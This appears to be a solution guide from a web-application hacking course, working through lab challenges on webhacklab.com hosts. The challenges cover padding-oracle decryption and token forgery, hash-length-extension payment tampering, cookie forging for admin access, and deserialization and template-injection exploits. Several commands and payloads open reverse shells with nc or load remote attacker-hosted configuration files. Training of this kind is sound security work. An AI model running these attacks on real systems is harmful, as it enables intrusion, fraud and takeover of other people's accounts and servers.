AnswerSheet Part2
AnswerSheet Part2
Answer
Paper
||||||||||||||||||||
Contents
Module: Breaking Crypto ..................................................................................................... 2
Page: | 1
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Solution:
Step 1: Initiate the forgot password request as user
“[email protected]” into the topup application:
Step 2: The user will receive the password reset link with a “token” in the registered email as shown
below:
Page: | 2
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
http://topup.webhacklab.com/Account/ResetPassword?code=6cD0nQOLXoX5XlJubw3SIDDXSu5
K9u5roALwtIEGJc8hCFop2kCH4j6LceF2P8D/&userId=b19d4b82-56ad-407d-9191-
9715c1698166
Send another password reset request for the same username and notice that the token in the
password reset link remains constant.
http://topup.webhacklab.com/Account/ResetPassword?userId=b314960e-dbaf-4979-b841-
0c6b175c3dab&code=%2BvheISv88Uo85l4reA7D%2BDDXSu5K9u5roALwtIEGJc8hCFop2kCH4
j6LceF2P8D%2F
User : [email protected]
root@Kali:~# echo
"+vheISv88Uo85l4reA7D+DDXSu5K9u5roALwtIEGJc8hCFop2kCH4j6LceF2P8D/" | base64 -d
| xxd -p
Hex Value =
FAF85E212BFCF14A3CE65E2B780EC3F830D74AEE4AF6EE6BA002F0B4810625CF21085A29D
A4087E23E8B71E1763FC0FF
Page: | 3
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 4: Based on the analysis in last step hijack the account “[email protected]” by
registering another account [email protected] and trimming off the
first 16 bytes from the password reset token of this user and creating a password reset link for
“[email protected]” :
User : [email protected]
root@Kali:~# echo
"6cD0nQOLXoX5XlJubw3SIDDXSu5K9u5roALwtIEGJc8hCFop2kCH4j6LceF2P8D/" | base64 -
d | xxd -p
Hex Value =
E9C0F49D038B5E85F95E526E6F0DD22030D74AEE4AF6EE6BA002F0B4810625CF21085A29DA
4087E23E8B71E1763FC0FF
root@Kali:~# echo
"30D74AEE4AF6EE6BA002F0B4810625CF21085A29DA4087E23E8B71E1763FC0FF" | xxd -r -p
| base64
Page: | 4
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: Navigate to
http://topup.webhacklab.com/Account/ResetPassword?code=MNdK7kr27mugAvC0gQYlzyEI
WinaQIfiPotx4XY/wP8=&userId=b314960e-dbaf-4979-b841-0c6b175c3dab and change the
password of user “[email protected]”:
Step 6: The Figure shows that the application allowed to change the password using the token
Page: | 5
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Solution:
The application takes an encrypted parameter filename to retrieve invoice details from the server.
Step 1: When a valid ciphertext value is passed to the filename parameter, the application returns
the content of a file as shown in the figure below.
http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvIoRbULfadd1LWrf
HVuYgw6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP882ywGBkA==
Page: | 6
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 2: When an invalid ciphertext value is passed to the filename parameter, it responds with bad
padding error.
http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvIoRbULfadd1LWrfHVuYg
w6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP882ywGBaA==
This behaviour can further be used to identify whether the encrypted value has proper padding or
not.
Step 3: Padbuster tool can be used to automate the padding oracle attacks. Decrypt ciphertext
using the following command:
./padbuster.pl
"http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvIoRbULfadd1L
WrfHVuYgw6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP882ywGBkA=="
"hXzPd+J2DtGGJfCvIoRbULfadd1LWrfHVuYgw6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP8
82ywGBkA==" 16 -encoding 0 -error "Padding"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| [email protected] |
+-------------------------------------------+
Page: | 7
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Block 1 Results:
[+] Cipher Text (HEX): b7da75dd4b5ab7c756e620c3a00021d5
[+] Intermediate Bytes (HEX): b14ead16d3423fe0b144c79d16b66265
[+] Plain Text: 42ba14117a724295
Page: | 8
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Block 2 Results:
[+] Cipher Text (HEX): 2ddfe3e1aa3139274863d6ebbd79df30
[+] Intermediate Bytes (HEX): d5eb11ef786280f263df16fac63543e2
[+] Plain Text: b1d238755969f5b7
Block 3 Results:
[+] Cipher Text (HEX): 709bd7a45bc220c3043fcf36cb018190
[+] Intermediate Bytes (HEX): 03b7978cc63a322c4368dde0b672d43b
[+] Plain Text: .html
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): 42ba14117a724295b1d238755969f5b7.html
Page: | 9
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Alternative: padding-oracle-attacker tool can be used to automate the padding oracle attacks.
Decrypt ciphertext using the following command:
Page: | 10
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 4: Run padbuster with "-plaintext" argument to create a ciphertext for the plaintext
"../web.config"
./padbuster.pl
"http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvIoRbULfadd1
LWrfHVuYgw6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP882ywGBkA=="
"hXzPd+J2DtGGJfCvIoRbULfadd1LWrfHVuYgw6AAIdUt3+PhqjE5J0hj1uu9ed8wcJvXpFvCIMMEP
882ywGBkA==" 16 -encoding 0 -error "Padding" -plaintext ../../web.config
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| [email protected] |
+-------------------------------------------+
Page: | 11
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Block 2 Results:
[+] New Cipher Text (HEX): 2f9bb0346e02680c9284f03431c72e3d
[+] Intermediate Bytes (HEX): 3f8ba0247e12781c8294e02421d73e2d
Block 1 Results:
[+] New Cipher Text (HEX): 7913b657b735bc958b17076fc9b6e880
[+] Intermediate Bytes (HEX): 573d9979991acbf0e9396400a7d081e7
-------------------------------------------------------
** Finished ***
Page: | 12
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Alternative: Run padding-oracle-attacker with "encrypt" argument to create a ciphertext for the
plaintext "../../web.config"
Step 5: Open the following URL to view the contents of the web.config file in HTML source.
view-
source:http://topup.webhacklab.com/download.aspx?invoice=eRO2V7c1vJWLFwdvybbogC%2Bb
sDRuAmgMkoTwNDHHLj0AAAAAAAAAAAAAAAAAAAAA
Page: | 13
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Access the file where id=0 which can only be accessible by an admin.
Solution:
Step 1: Log in to the application and click on the 'support' button and click on the 'View' link as
shown in Figure:
Step 2: To view the file content uploaded along with a support ticket when it’s created. It is required
to click on the link mentioned in 'FileName' column as shown in figure:
Page: | 14
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 3: Upon clicking on the link of the above step, the application sends a request to the server
which contains file id in the 'id' parameter and user token. If user token is valid and file id belongs to
logged in user then application responds with file content of supplied id parameter as shown in
figure:
Step 4: Based on the exercise challenge if we directly try to access a file where id=0 then the
application responds with 'File not found!!' error message as shown in Figure:
Page: | 15
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: To access a file where id=0, it is required to send the token which belongs to the user who is
owning a file where id=0. To achieve this, we have to modify the token but when we try to modify
token application respond with 'padding error' as shown in the figure:
Step 6: Let’s try to decrypt the token using Padbuster utility as shown in figure:
Command:
./padbuster.pl
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=X&token=
$TOKEN$" "$TOKEN$" 16 -encoding 1 -cookies
.AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$ -error "Padding"
Page: | 16
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Alternative: Let’s try to decrypt the token using padding-oracle-attacker utility as shown in figure:
Command:
padding-oracle-attacker decrypt
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=X&token=
" "hex:$TOKEN$" -H "Cookie: .AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$"
16 Padding -e hex
Page: | 17
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 7: Try to create token where ‘"user":"admin"’ using padbuster as shown in figure:
Command:
./padbuster.pl
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=0&token=
$TOKEN$" "$TOKEN$" 16 -encoding 1 -cookies
.AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$ -error "Padding" -plaintext
'","user":"admin"}'
Page: | 18
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Command:
padding-oracle-attacker encrypt
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=0token="
-H "Cookie: .AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$"
'","user":"admin"}' 16 Padding -e hex
Step 8: Now take the 1st 2 blocks i.e. 32 bytes (64 hex characters) of the original token and append
it with the newly generated arbitrary text as shown above to access id=0.
Page: | 19
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Buy a topup at less than total payable amount using your registered account.
Solution:
Step 1: Login and navigate to the topup feature of the recharge application. Select a topup and
initiate the payment process.
Page: | 20
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 3: Notice that payment amount from the original request is being displayed in the response.
Page: | 21
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 4: By tampering the values of different parameters we can identify that the application gives an
error message “Hash validation failed” when the “transactionid”, “email” or “amount” parameters are
tampered.
Note: This suggests that the “hash” might be using the values of these three parameters, however
generating hashes of these parameters combined does not match the value of “hash”. The reason
for this could be a secret being used for hash generation along with these values.
Page: | 22
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: Using the tool “hash_extender” generate multiple hashes with different padding length using
the following command. Notice that we want to change the price from ‘279’ to ‘10’
Where,
--data = It’s a combination of transactionid+email+amount
--signature = It’s a value of the hash parameter from the request
Page: | 23
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Payload Value: Starting from the email address till last NULL byte (%00) without amount parameter
value.
Page: | 24
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 8: Replace the hash parameter value from the payload generated in Step 5.
Page: | 25
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 9: Select the 'email' parameter as injection point, change the value of the amount parameter
form '279' to '10'.
Page: | 26
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 10: Select the padded values generated by the tool starting from the email address till last
NULL byte (%00) from Step 7 and paste them in the payload list. Also, make sure to uncheck the
option to 'URL encode' the special characters.
Page: | 27
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 11: Start the intruder attack and notice that one of the payloads was successful.
Step 12: Modify the initial payment request captured in Step 2, replace POST body with successful
payload from Step 11. The response will show that the amount we need to pay is now 10 GBP
(instead of 279 GBP).
Page: | 28
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 13: Enter credit card details and complete the transaction.
Step 14: Go to “My Orders” section and check the amount. Notice that the price shown is 279 GBP.
Page: | 29
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 15: You will receive a payment receipt to your registered email, indicating transaction number,
status and the total amount paid (10 GBP in this case).
Page: | 30
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Solution:
Step 1: Navigate to the “http://admin.webhacklab.com/Home/About” page to access the admin
interface.
Step 2: As the user is not authenticated, it will redirect to the login page.
Page: | 31
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 3: On following the redirect, it is observed that the application sets multiple cookie values, one
of which is “.ASPXAUTH”. The cookie “.ASPXAUTH” is used to establish the user identity and is
signed and encrypted.
Step 4: Using the “Blacklist3r” utility we will verify if the application uses a pre-shared machine key
available in Blacklist3r’s database. Once verified, it will decrypt the auth cookie and store it in a file.
The file contains two interesting fields holding value (anonymous) highlighted, as shown below.
Page: | 32
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Alternative: You can decrypt the cookie using the web interface URL of Blacklist3r:
http://utility.webhacklab.com/Blacklister.aspx.
Page: | 33
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 5: The next task is to find a valid user based on which we can use the Blackist3r utility to
create a valid auth token. The login page is vulnerable to username enumeration. For an invalid
username, it returns “Invalid username and password” default error message.
Step 6: However, for a valid username and invalid password, it returns “Invalid password” error
message. Using this we can identify that “admin” is a valid user in the application.
Page: | 34
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 7: Once the valid user is found change the username and role information in decrypted file
generated in Step 4 and re-generate the cookie using the Blacklist3r terminal utility based on the
modified information.
Page: | 35
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Alternative: To perform this activity on the web utility change the username and role information in
decrypted information panel in Step 4 and re-generate the cookie based on the modified
information.
Page: | 36
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 8: Once we have the new cookie, access the admin panel home page and intercept the
request.
Step 10: Replace the cookie value generated with the newly generated cookie.
Page: | 37
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 11: The cookie is accepted by the server and we have access to the admin panel.
Page: | 38
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Exploit a PHP object injection instance to access “/etc/passwd” file from the server.
Solution:
Step 1: Navigate to the application “http://shop.webhacklab.com” and click on the “Help” link in the
footer and then the “Refund & Cancellation Policies” page as shown below
Page: | 39
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 2: Lets us now investigate the “file” parameter in the URL as seen in the screenshot below
Step 3: Copy the value of the file parameter in the URL and paste it in Burpsuite’s Decoder interface
and decode the value as Base64 as shown below.
This looks like a PHP serialized object array which is referencing a file named “refund.html” from the
system.
Page: | 40
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 4: In order to carry out the attack we need to modify the serialized object but we need to know
the correct class name and the parameter names of the object which is being serialized. Let's view
the HTML source of the application. Upon viewing the source it can be observed that there is a
commented class definition which is being used for referencing the file as shown below.
Step 5: Let us now modify this Serialized object array to reference a different file from the system as
part of our challenge i.e. “/etc/passwd” as shown below. The modification must be in line with the
PHPs serialization requirements
Page: | 41
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 6: Copy the encoded Base64 value from the above step and paste it as the value of the file
parameter and the server now deserializes the modified PHP Object and reads the “/etc/passwd”
file as shown below
Page: | 42
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Solution:
Step 1: Navigate to the “http://slim.webhacklab.com:8081/” and provide the details such as first
name, last name and mobile number and email address:
Page: | 43
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 2: We further intercepted above request and decoded base64 value of parameter “csrftoken”
suggesting that serialized data was used:
Step 3: Open a terminal and execute the phpggc located at ‘/root/tools/phpggc/’. The command to
generate a PHP serialized payload to execute command “id” is :
Page: | 44
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 4: Provide the base64 encoded payload retrieved from above step to parameter “csrftoken”
and submit the request. On successful execution, the application reveals the output of the “id”
command
Step 5: In order to take a reverse shell open the terminal and start a listener:
Page: | 45
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 6: Create a php serialized payload to get a reverse shell using the command :
Step 7: Provide the base64 encoded payload retrieved from above step to parameter “csrftoken”
and submit the request.
Page: | 46
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 8: On successful execution the application sends a reverse shell on the listener and can
execute commands.
Page: | 47
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
• Identify and inject a payload into the serialised data to make the host send DNS
requests to an external host.
• Get a reverse shell and extract the system information such as usernames, OS type
from the server and also read “/etc/passwd” file.
Solution:
Step 1: Login into the application with “Remember Me” checked.
Page: | 48
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 2: Observe a new cookie being set in response of the Login request named “rememberMe”
Note: Upon inspection of the value “rememberMe” cookie as shown above, we can identify that the
value of cookie starts with “rO0AB” and indicates that it could be a Java Serialised object.
Step 3: Start “tcpdump” on your kali VM to dump dns requests, using the following command:
Step 4: Generate the payload using tool “ysoserial-master.jar” to perform the action using the below
command:
Page: | 49
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 5: Copy the payload we generated in the above step and paste this entire payload in the
“rememberMe” cookie and observe the command execution on the server.
Step 6: As can be seen from the screenshot below, we received domain resolution requests on our
internal kali host confirming command execution.
Page: | 50
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 7: Generate the payload using tool ‘ysoserial-master.jar’ to perform the action of taking a
reverse shell using the below command:
Page: | 51
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 9: Copy the payload we generated in the above step and paste this entire payload in the
rememberme cookie and observe the command execution on the server.
Page: | 52
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 10: As can be seen from the screenshot below, we received a reverse shell on our internal kali
host confirming command execution.
Page: | 53
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
• Identify and inject a payload into the serialised data to make the host send DNS
requests to an external host.
• Get a reverse shell and extract system information such as usernames, OS type from
the server and also read the ‘/etc/passwd’ file.
Solution:
Step 1: Register to the application, navigate to the login page, provide credentials, and tick the
'Remember Me' checkbox and click on submit button.
Page: | 54
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 2: Once you have successfully logged in to the application, navigate to any of the tabs 'Home',
'Profile', 'Notification' or 'Settings'.
Step 3: Capture the HTTP Request in Burp Suite and observe the 'rememberMe' cookie value
which has Base64 encoded data
Page: | 55
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 4: It contains unreadable data but when its Base64 decoded the cookie value, and the value
will be as shown in figure
Note: Always try different encoding and encryption mechanisms when there is such type of Base64
data.
Step 5: Observe that the application passes Java serialized value after Base64 decode and then
decompresses it using deflate using the 'Hackvertor' Burp Suite extension as shown in figure:
Page: | 56
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 6: To generate compressed Java deserialization payload, it is required to modify the original
ysoserial source code. To do that, navigate to the following link or command to download the Git
repository.
Source: https://github.com/frohoff/ysoserial
Step 7: While navigating to the build instruction of ysoserial, it was observed that the project was
built in Maven framework, and it is required to download distributed binaries of Maven framework to
compile the source code of ysoserial as shown in figure:
Page: | 57
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 8: Download the latest Maven binaries from the download link given and extract it using
following command:
https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-
maven-3.6.3-bin.tar.gz
Code Change 1:
import java.util.zip.DeflaterOutputStream;
import java.io.*;
Code Change 2:
System.out.println(compressObject(object));
Comment out next 3 statement using '/*$SOURCE_CODE$*/'
Code Change 3:
public static String compressObject(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
OutputStream mCompressdos = new DeflaterOutputStream(byteArrayOutputStream);
ObjectOutputStream mOutputStream = new ObjectOutputStream(mCompressdos);
mOutputStream.writeObject(obj);
mOutputStream.close();
mCompressdos.close();
Page: | 58
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
return new
String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
}
Page: | 59
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 10: Once the source code is modified, compile it using the following Maven command as
shown in figure:
Step 12: Once compilation is successful, there will be a new 'target' folder created, Navigate to
'target' folder and using the following command, generate the ysoserial payload as also shown in
figure:
Page: | 60
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 13: Add the generated payload in 'rememberMe' cookie in request and forward the request
and observe that the application responds with an error of 'serialVersionUID mismatch' as shown in
figure:
Page: | 61
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 14: The following bash script is used to fetch the 'serialVersionUID' of all the available versions
of 'commons-beanutils'.
#!/bin/bash
url=$1
class=$2
mkdir tmpjars
for zip in $(curl -s $url | grep '.zip<' | grep -Eo 'href="[^\"]+"' | cut -d
'"' -f 2);do
wget -O tmpjars/current.zip -4 $url$zip --no-check-certificate &>/dev/null
unzip tmpjars/current.zip -d tmpjars &>/dev/null
rm -rf tmpjars/*
done
rm -d tmpjars/
Page: | 62
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 15: After executing the above script, observe that the application might be using the commons-
beanutils v1.7.0 to 1.8.3 and ysoserial latest version built in 'commons-beanutils v1.9.2' as shown in
figure:
Page: | 63
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 16: Navigate to ysoserial source code and modify the ‘pom.xml’ and replace the version of
'commons-beanutils' from '1.9.2' to '1.7.0' and compile the ysoserial source code as shown in figure:
Page: | 64
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 17: Again generate the deserialization payload using same command as shown in figure:
Step 18: Add the generated payload in 'rememberMe' cookie as shown in figure:
Page: | 65
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 19: The payload gets successfully executed and a request on python server will be received as
shown in figure:
Step 20: Generate the payload using tool ‘ysoserial-master.jar’ to perform the action of taking a
reverse shell using the below command:
Page: | 66
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 22: Copy the payload we generated in the above step and paste this entire payload in the
rememberme cookie and observe the command execution on the server.
Page: | 67
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 23: As can be seen from the screenshot below, we received a reverse shell on our internal kali
host confirming command execution.
Page: | 68
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Identify the request to inject XML serialised data and inject a payload into it to make
the host send ping requests to an external host.
• Get a reverse shell and extract the system information such as username, OS type
from the server and also read “/etc/passwd” file.
Solution
Step 1: Login into the Microblog and post a blog.
Step 2: Observe the request. It’s a simple REST API request which adds the content.
Step 3: In the source code we get some hints about the new update.
Page: | 69
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 4: Modify the request to check if the server accepts XML as an input. Web frameworks in Java
use XStream or XMLDecoder libraries to convert HTTP request parameters to objects through a
process called Deserialization which may lead to remote code execution. In the screenshot below
when we tried to change our request to XML , the application servers an XML parsing error which
gives us a hint that the HTTP request is attempting to be parsed as an XML.
Page: | 70
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Page: | 71
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 6: Let’s send the following XML file to the application , the XStream parser will try to
deserialize the object and execute the java.lang.Runtime class giving us a remote code execution
Page: | 72
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 7: As can be seen from the screenshot below we received a dns request for domain resolution
on our Authoritative domain “userX.webhacklab.com” confirming command execution.
Page: | 73
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 9: If we send the following XML file to the application, the XStream parser will try to deserialize
the object and execute our command “nc -e /bin/sh 192.168.4.X 9999”.
Page: | 74
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 10: As can be seen from the screenshot below we can access the system using reverse shell
and execute commands.
Page: | 75
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
• Get a reverse shell and extract the system information such as username, OS type
from the server and also read “/etc/passwd” file.
Solution:
Step 1: Login into the Microblog and post a blog and intercept the request in Burp.
Step 2: Observe the request. It is a simple REST API request which adds the content.
Page: | 76
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 3: Break the JSON format by simply removing the last “ ” ” (Double Quote) near Test as shown
below and observe the error. This looks like a JSON serialized string.
Note: From the error we can observe that the Jackson databind library is being used. This library is
vulnerable to JSON deserialization attacks.
Step 4: The most common framework in java applications is Spring and if we feed the below JSON
data to a Jackson parser parsing it, it’ll try to load a Spring Configuration(ApplicationContext) file
from over the network.
["org.springframework.context.support.FileSystemXmlApplicationContext",
"http://192.168.4.X:80/spel.xml"]
Page: | 77
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 5: Now within this configuration file we can embed “SpEL i.e. Spring Expression Language”
which can execute code. So let’s host the below spel.xml file on our kali machine and send the
JSON request of Step 4 to our application
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>nc</value>
<value>192.168.4.X</value>
<value>4444</value>
<value>-e</value>
<value>/bin/bash</value>
</array>
</constructor-arg>
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
Page: | 78
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Page: | 79
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
• Identify and exploit the .Net Deserialization vulnerability to make the host send DNS
requests to an external host.
• Get a reverse shell and extract the system information such as username, OS type
from the server and read “win.ini” file.
Solution:
Step 1: Navigate to the http://admin.webhacklab.com URL and intercept the response in Burp.
Page: | 80
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 2: There is a cookie named “__NSSTemp” which is Base64 Encoded that reads
“AAEAAAD/////AQAAA” which assures us that there is some serialized data being communicated.
Step 3: Now on a windows system we can generate the serialized payload using the ysoserial.net
tool to send an out of band request containing the web server username to an attacker-controlled
domain.
Page: | 81
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Page: | 82
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: Replace the serialized string in “__NSSTemp” cookie with the value generated in Step 3
and send a request.
Step 6: We get the OOB request along with the web server’s machine name.
Page: | 83
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 8: Generate the payload using terminal or web interface for reverse shell.
Page: | 84
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 9: Replace the serialized string in “__NSSTemp” cookie with the value generated in Step 8
and send request.
Step 10: We get a reverse shell and can run the commands.
Page: | 85
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Page: | 86
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Identify and exploit the Python Deserialization vulnerability to make the host send
DNS requests to an external host.
• Get a reverse shell and extract the system information such as username, OS type
from the server and read “/etc/passwd” file
Solution:
Step 1: Go to the Support section of the application and select Add Ticket.
Step 2: Fill up the support request and upload a sample text file ‘test.txt’ and intercept the request in
Burp.
Note: Make sure that the txt file has some content. Application will not allow empty file upload.
Page: | 87
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 3: There are two parameters that send data in a Base64 encoded value as highlighted below:
Step 4: Enter any invalid character as value in the ‘title’ parameter to check the error in response.
Page: | 88
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: Use the python script to generate a python deserialization payload using the script available
in the Kali machine to receive an out-of-band call as shown below:
Command:
Step 7: Replace the value in ‘title’ parameter with generated payload as shown below.
Page: | 89
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 9: Generate the payload for the reverse shell using the following command.
Page: | 90
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 11: Enter the generated payload in the ‘title’ parameter and send the Request.
Page: | 91
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
cat /etc/passwd
Page: | 92
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Solution:
Step 1: Navigate to the application as shown in figure:
Step 2: Login using admin user account and login to the application as shown in figure:
Page: | 93
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 4: Navigate to Storage -> Local Storage and select the "http://plex.webhacklab.com:32400"
and copy the "myPlexAccessToken" value as shown in figure:
Page: | 94
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: Use the following Metasploit module and set the information to obtained reverse shell.
root@Kali:~# msfconsole
Page: | 95
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Page: | 96
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
• Identify the template engine and exploit it to extract the content of the file
“/etc/passwd”
Solution:
Step 1: Notice the “Refer a friend” link in the Shop application, which points to
“http://shop.webhacklab.com/referral.php”
Step 2: Now try to, fill in the details to check for Injection, there is an input validation on Name and
email, however, Message accepts everything, enter the following in the Message:
Page: | 97
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
Step 3: On clicking the “Refer a Friend” button, the application will render the ERB template and
send an email, as shown below:
Page: | 98
©
Claranet Cyber Security 2021. All rights reserved
||||||||||||||||||||
Step 5: On clicking the “Refer a Friend” button, the application will email the contents of the file
“etc/passwd”, as shown below:
Step 6: OOB calls can also be made on this vulnerable parameter, make sure a dns listener is
started on the kali box and inject the code as below in the Message text (with backtick ` and not
single quote ‘):
Page: | 99
©
Claranet Cyber Security 2021. All rights reserved
Technet24
||||||||||||||||||||
